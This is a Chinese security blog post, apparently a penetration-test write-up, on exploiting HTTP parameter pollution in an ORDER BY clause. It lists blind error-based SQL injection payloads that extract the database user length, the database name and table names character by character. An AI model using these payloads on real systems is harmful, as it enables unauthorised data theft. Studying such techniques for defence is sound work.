过程
这里使用了一些函数都不能进行注入,怎么构造结果都是返回正常页面
这里试下参数污染,当第二个参数为31回显异常,这说明第二个参数的值是被传到后端了
当第一个参数为31回显异常,这说明第一个参数的值也被传到后端了
这就说明他后面是用逗号连接的,就像这样
xxx order by 30,30 desc xxxx
然后正常使用if语句会服务异常
这里我为了测试select能不能用,于是用的下面这个语句构造报错
if(1=1,(select 1 union select 2),1)
也是我测试经常用的语句,只有两个数相等才返回正常,其他大于或小于就会报错
当1=2返回了正常,没想到select能用
判断user长度
if(length(user())=1,(select 1 union select 2),1)
注数据库
if(ascii(substring(database(),1,1))=1,(select 1 union select 2),1)
注表
if(ascii(substring((select table_name from information_schema.tables where table_schema='数据库名字' limit 0,1),1,1))=1,(select 1 union select 2),1)
如下,注数据库中第一张表名字的第一个字符,稍微变换下大小写即可
剩余同理,后续找了半天也没找到绝对路径,暂时放弃写shell
网安交流群
原文始发于微信公众号(起凡安全):巧妙利用参数污染进行sql注入
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论